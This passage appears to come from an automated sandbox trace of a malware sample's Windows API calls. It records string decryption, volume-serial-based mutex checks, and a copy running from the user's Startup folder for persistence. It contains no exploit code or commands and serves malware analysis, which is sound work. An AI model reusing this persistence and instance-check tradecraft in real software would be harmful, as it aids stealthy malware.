(dwErrCode=0x0) [0141.830] GetLastError () returned 0x0 [0141.830] SetLastError (dwErrCode=0x0) [0141.830] GetLastError () returned 0x0 [0141.830] SetLastError (dwErrCode=0x0) [0141.830] GetLastError () returned 0x0 [0141.830] SetLastError (dwErrCode=0x0) [0141.830] GetLastError () returned 0x0 [0141.831] SetLastError (dwErrCode=0x0) [0141.831] GetLastError () returned 0x0 [0141.831] SetLastError (dwErrCode=0x0) [0141.831] GetLastError () returned 0x0 [0141.831] SetLastError (dwErrCode=0x0) [0141.831] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x0, Size=0x30) returned 0xb61fa0 [0141.831] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x0, Size=0x2cc0) returned 0xb61fd8 [0141.831] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x0, Size=0x15c) returned 0xb64ca0 [0141.831] GetTickCount () returned 0x10951 [0141.832] GetLastError () returned 0x0 [0141.832] SetLastError (dwErrCode=0x0) [0141.832] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x3bfc20, cchData=32 | out: lpLCData="\x03") returned 16 [0141.832] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x0, Size=0x1c) returned 0xb64e08 [0141.832] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x0, Size=0x1c) returned 0xb64e30 [0141.832] GetVersion () returned 0x23f00206 [0141.832] GetCurrentProcess () returned 0xffffffff [0141.832] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3bfb84 | out: TokenHandle=0x3bfb84*=0x1ec) returned 1 [0141.833] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x14, TokenInformation=0x3bfb7c, TokenInformationLength=0x4, ReturnLength=0x3bfb80 | out: TokenInformation=0x3bfb7c, ReturnLength=0x3bfb80) returned 1 [0141.833] CloseHandle (hObject=0x1ec) returned 1 [0141.833] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x0, Size=0x20) returned 0xb64e58 [0141.833] CryptAcquireContextW (in: phProv=0x128fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x128fcf0*=0x4eb50) returned 1 [0141.843] CryptImportKey (in: hProv=0x4eb50, pbData=0x3bfa78, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3bfae0 | out: phKey=0x3bfae0*=0x592e8) returned 1 [0141.844] CryptSetKeyParam (hKey=0x592e8, dwParam=0x1, pbData=0x3bfac8, dwFlags=0x0) returned 1 [0141.844] CryptDecrypt (in: hKey=0x592e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb64e58, pdwDataLen=0x3bfa94 | out: pbData=0xb64e58, pdwDataLen=0x3bfa94) returned 1 [0141.844] CryptDestroyKey (hKey=0x592e8) returned 1 [0141.844] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x1e) returned 0xb64e80 [0141.844] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x0, Size=0x1e) returned 0xb64ea8 [0141.844] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x0, Size=0x90) returned 0xb64ed0 [0141.844] CryptImportKey (in: hProv=0x4eb50, pbData=0x3bfa50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3bfab8 | out: phKey=0x3bfab8*=0x59128) returned 1 [0141.844] CryptSetKeyParam (hKey=0x59128, dwParam=0x1, pbData=0x3bfaa0, dwFlags=0x0) returned 1 [0141.844] CryptDecrypt (in: hKey=0x59128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb64ed0, pdwDataLen=0x3bfa6c | out: pbData=0xb64ed0, pdwDataLen=0x3bfa6c) returned 1 [0141.844] CryptDestroyKey (hKey=0x59128) returned 1 [0141.844] HeapFree (in: hHeap=0xb60000, dwFlags=0x0, lpMem=0xb64ed0 | out: hHeap=0xb60000) returned 1 [0141.844] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb64e80, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0141.845] HeapFree (in: hHeap=0xb60000, dwFlags=0x0, lpMem=0xb64ea8 | out: hHeap=0xb60000) returned 1 [0141.845] HeapFree (in: hHeap=0xb60000, dwFlags=0x0, lpMem=0xb64e58 | out: hHeap=0xb60000) returned 1 [0141.845] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x3bfb20, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x3bfb20*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0141.845] HeapFree (in: hHeap=0xb60000, dwFlags=0x0, lpMem=0xb64e80 | out: hHeap=0xb60000) returned 1 [0141.845] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x0, Size=0x40) returned 0xb64e58 [0141.845] CryptImportKey (in: hProv=0x4eb50, pbData=0x3bfaac, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3bfb14 | out: phKey=0x3bfb14*=0x58fe8) returned 1 [0141.845] CryptSetKeyParam (hKey=0x58fe8, dwParam=0x1, pbData=0x3bfafc, dwFlags=0x0) returned 1 [0141.845] CryptDecrypt (in: hKey=0x58fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb64e58, pdwDataLen=0x3bfac8 | out: pbData=0xb64e58, pdwDataLen=0x3bfac8) returned 1 [0141.845] CryptDestroyKey (hKey=0x58fe8) returned 1 [0141.845] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x34) returned 0xb64ea0 [0141.845] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0141.845] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x1f0 [0141.845] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0141.846] HeapFree (in: hHeap=0xb60000, dwFlags=0x0, lpMem=0xb64e58 | out: hHeap=0xb60000) returned 1 [0141.846] HeapFree (in: hHeap=0xb60000, dwFlags=0x0, lpMem=0xb64ea0 | out: hHeap=0xb60000) returned 1 [0141.846] ReleaseMutex (hMutex=0x1f0) returned 1 [0141.846] CloseHandle (hObject=0x1f0) returned 1 [0141.846] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x0, Size=0x20) returned 0xb64e58 [0141.846] CryptImportKey (in: hProv=0x4eb50, pbData=0x3bfa8c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3bfaf4 | out: phKey=0x3bfaf4*=0x58fe8) returned 1 [0141.846] CryptSetKeyParam (hKey=0x58fe8, dwParam=0x1, pbData=0x3bfadc, dwFlags=0x0) returned 1 [0141.846] CryptDecrypt (in: hKey=0x58fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb64e58, pdwDataLen=0x3bfaa8 | out: pbData=0xb64e58, pdwDataLen=0x3bfaa8) returned 1 [0141.846] CryptDestroyKey (hKey=0x58fe8) returned 1 [0141.846] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x1e) returned 0xb64e80 [0141.846] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x0, Size=0x1e) returned 0xb64ea8 [0141.846] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x0, Size=0x90) returned 0xb64ed0 [0141.846] CryptImportKey (in: hProv=0x4eb50, pbData=0x3bfa64, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3bfacc | out: phKey=0x3bfacc*=0x59268) returned 1 [0141.846] CryptSetKeyParam (hKey=0x59268, dwParam=0x1, pbData=0x3bfab4, dwFlags=0x0) returned 1 [0141.847] CryptDecrypt (in: hKey=0x59268, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb64ed0, pdwDataLen=0x3bfa80 | out: pbData=0xb64ed0, pdwDataLen=0x3bfa80) returned 1 [0141.847] CryptDestroyKey (hKey=0x59268) returned 1 [0141.847] HeapFree (in: hHeap=0xb60000, dwFlags=0x0, lpMem=0xb64ed0 | out: hHeap=0xb60000) returned 1 [0141.847] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb64e80, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0141.847] HeapFree (in: hHeap=0xb60000, dwFlags=0x0, lpMem=0xb64ea8 | out: hHeap=0xb60000) returned 1 [0141.847] HeapFree (in: hHeap=0xb60000, dwFlags=0x0, lpMem=0xb64e58 | out: hHeap=0xb60000) returned 1 [0141.847] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x3bfb34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x3bfb34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0141.847] HeapFree (in: hHeap=0xb60000, dwFlags=0x0, lpMem=0xb64e80 | out: hHeap=0xb60000) returned 1 [0141.847] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x0, Size=0x40) returned 0xb64e58 [0141.848] CryptImportKey (in: hProv=0x4eb50, pbData=0x3bfac0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3bfb28 | out: phKey=0x3bfb28*=0x58fe8) returned 1 [0141.848] CryptSetKeyParam (hKey=0x58fe8, dwParam=0x1, pbData=0x3bfb10, dwFlags=0x0) returned 1 [0141.848] CryptDecrypt (in: hKey=0x58fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb64e58, pdwDataLen=0x3bfadc | out: pbData=0xb64e58, pdwDataLen=0x3bfadc) returned 1 [0141.848] CryptDestroyKey (hKey=0x58fe8) returned 1 [0141.848] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x34) returned 0xb64ea0 [0141.848] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x1f0 [0141.848] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0141.848] CloseHandle (hObject=0x1f0) returned 1 [0141.848] HeapFree (in: hHeap=0xb60000, dwFlags=0x0, lpMem=0xb64e58 | out: hHeap=0xb60000) returned 1 [0141.848] HeapFree (in: hHeap=0xb60000, dwFlags=0x0, lpMem=0xb64ea0 | out: hHeap=0xb60000) returned 1 [0141.848] HeapFree (in: hHeap=0xb60000, dwFlags=0x0, lpMem=0xb64e08 | out: hHeap=0xb60000) returned 1 [0141.848] HeapFree (in: hHeap=0xb60000, dwFlags=0x0, lpMem=0xb64e30 | out: hHeap=0xb60000) returned 1 [0141.848] HeapFree (in: hHeap=0xb60000, dwFlags=0x0, lpMem=0xb64ca0 | out: hHeap=0xb60000) returned 1 [0141.848] HeapFree (in: hHeap=0xb60000, dwFlags=0x0, lpMem=0xb61fd8 | out: hHeap=0xb60000) returned 1 [0141.848] HeapFree (in: hHeap=0xb60000, dwFlags=0x0, lpMem=0xb61fa0 | out: hHeap=0xb60000) returned 1 [0141.849] GetModuleHandleW (lpModuleName="mscoree.dll") returned 0x0 [0141.849] ExitProcess (uExitCode=0x0) [0141.849] HeapFree (in: hHeap=0xb60000, dwFlags=0x0, lpMem=0xb605a8 | out: hHeap=0xb60000) returned 1 Thread: id = 47 os_tid = 0xe4c Process: id = "11" image_name = "ph_exec.exe1.exe" filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe" page_root = "0x52954000" os_pid = "0xe50" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe1.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001185d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 48 os_tid = 0xe54 [0141.902] GetStartupInfoW (in: lpStartupInfo=0x9cfdf8 | out: lpStartupInfo=0x9cfdf8*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0141.902] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0141.902] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x24d0000 [0141.920] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bf0000 [0141.920] GetProcAddress (hModule=0x75bf0000, lpProcName="FlsAlloc") returned 0x75c04ae0 [0141.920] GetProcAddress (hModule=0x75bf0000, lpProcName="FlsGetValue") returned 0x75c04b20 [0141.920] GetProcAddress (hModule=0x75bf0000, lpProcName="FlsSetValue") returned 0x75c04b40 [0141.921] GetProcAddress (hModule=0x75bf0000, lpProcName="FlsFree") returned 0x75c04b00 [0141.922] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x214) returned 0x24d05a8 [0141.922] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bf0000 [0141.922] GetCurrentThreadId () returned 0xe54 [0141.922] GetStartupInfoW (in: lpStartupInfo=0x9cfd94 | out: lpStartupInfo=0x9cfd94*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb671aa, hStdOutput=0xb674e3, hStdError=0x24d05a8)) [0141.922] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x800) returned 0x24d07c8 [0141.922] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0141.922] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0141.922] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0141.922] SetHandleCount (uNumber=0x20) returned 0x20 [0141.922] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe1.exe\" " [0141.923] GetEnvironmentStringsW () returned 0x14d878* [0141.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1410 [0141.923] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x0, Size=0x582) returned 0x24d0fd0 [0141.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0x24d0fd0, cbMultiByte=1410, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1410 [0141.923] FreeEnvironmentStringsW (penv=0x14d878) returned 1 [0141.923] GetLastError () returned 0xcb [0141.923] SetLastError (dwErrCode=0xcb) [0141.924] GetLastError () returned 0xcb [0141.924] SetLastError (dwErrCode=0xcb) [0141.924] GetLastError () returned 0xcb [0141.924] SetLastError (dwErrCode=0xcb) [0141.924] GetACP () returned 0x4e4 [0141.924] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x0, Size=0x220) returned 0x24d1560 [0141.924] GetLastError () returned 0xcb [0141.924] SetLastError (dwErrCode=0xcb) [0141.924] IsValidCodePage (CodePage=0x4e4) returned 1 [0141.924] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x9cfd5c | out: lpCPInfo=0x9cfd5c) returned 1 [0141.924] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x9cf828 | out: lpCPInfo=0x9cf828) returned 1 [0141.924] GetLastError () returned 0xcb [0141.924] SetLastError (dwErrCode=0xcb) [0141.926] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9cfc3c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0141.926] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9cfc3c, cbMultiByte=256, lpWideCharStr=0x9cf5a8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鲧¶Ā") returned 256 [0141.926] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鲧¶Ā", cchSrc=256, lpCharType=0x9cf83c | out: lpCharType=0x9cf83c) returned 1 [0141.926] GetLastError () returned 0xcb [0141.926] SetLastError (dwErrCode=0xcb) [0142.099] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9cfc3c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0142.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9cfc3c, cbMultiByte=256, lpWideCharStr=0x9cf578, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0142.101] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0142.101] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x9cf368, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0142.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x9cfb3c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x11\x24\xab\xae\x74\xfd\x9c", lpUsedDefaultChar=0x0) returned 256 [0142.101] GetLastError () returned 0xcb [0142.101] SetLastError (dwErrCode=0xcb) [0142.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9cfc3c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0142.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9cfc3c, cbMultiByte=256, lpWideCharStr=0x9cf598, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 